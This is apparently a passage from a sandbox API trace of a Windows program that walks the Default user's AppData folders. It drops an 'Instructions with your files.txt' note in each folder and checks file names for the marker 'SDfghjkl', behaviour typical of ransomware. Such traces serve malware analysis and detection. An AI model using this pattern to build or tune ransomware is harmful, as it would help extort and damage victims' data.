[0132.171] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.171] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.171] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.171] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.171] CloseHandle (hObject=0x11c) returned 1
[0132.171] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.171] GetProcessHeap () returned 0x810000
[0132.171] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.171] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
[0132.171] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\Instructions with your files.txt") returned 89
[0132.172] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.172] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.173] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.173] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.173] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.173] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.173] CloseHandle (hObject=0x118) returned 1
[0132.173] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.173] GetProcessHeap () returned 0x810000
[0132.173] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.173] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
[0132.173] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned 62
[0132.173] GetProcessHeap () returned 0x810000
[0132.173] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.173] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*") returned 64
[0132.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.174] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\.") returned 64
[0132.174] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.174] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\..") returned 65
[0132.174] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff12e0f2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1
[0132.174] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak") returned 74
[0132.174] StrStrIW (lpFirst="brndlog.bak", lpSrch="SDfghjkl") returned 0x0
[0132.174] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1
[0132.174] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt") returned 74
[0132.174] StrStrIW (lpFirst="brndlog.txt", lpSrch="SDfghjkl") returned 0x0
[0132.174] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 0
[0132.174] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\Instructions with your files.txt") returned 95
[0132.174] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.174] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.175] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.175] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.175] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.175] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.176] CloseHandle (hObject=0x118) returned 1
[0132.176] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.176] GetProcessHeap () returned 0x810000
[0132.176] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.176] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
[0132.176] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned 57
[0132.176] GetProcessHeap () returned 0x810000
[0132.176] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.176] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*") returned 59
[0132.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.178] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\.") returned 59
[0132.178] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.178] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\..") returned 60
[0132.178] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8679d27, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
[0132.178] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 82
[0132.178] StrStrIW (lpFirst="CurrentDatabase_372.wmdb", lpSrch="SDfghjkl") returned 0x0
[0132.178] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
[0132.178] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 73
[0132.178] StrStrIW (lpFirst="LocalMLS_3.wmdb", lpSrch="SDfghjkl") returned 0x0
[0132.178] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
[0132.178] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned 72
[0132.178] GetProcessHeap () returned 0x810000
[0132.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.178] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*") returned 74
[0132.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.179] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\.") returned 74
[0132.179] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.179] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\..") returned 75
[0132.179] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0132.179] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned 78
[0132.179] GetProcessHeap () returned 0x810000
[0132.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0132.180] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*") returned 80
[0132.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0132.181] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\.") returned 80
[0132.181] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.181] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\..") returned 81
[0132.181] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1
[0132.181] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned 87
[0132.181] GetProcessHeap () returned 0x810000
[0132.181] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89bc00
[0132.181] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*") returned 89
[0132.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0132.183] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\.") returned 89
[0132.183] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.183] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\..") returned 90
[0132.183] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
[0132.183] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 122
[0132.183] StrStrIW (lpFirst="01_Music_auto_rated_at_5_stars.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.183] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
[0132.183] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 124
[0132.183] StrStrIW (lpFirst="02_Music_added_in_the_last_month.wpl", lpSrch="SDfghjkl") returned 0x0
[0132.183] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
[0132.183] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 122
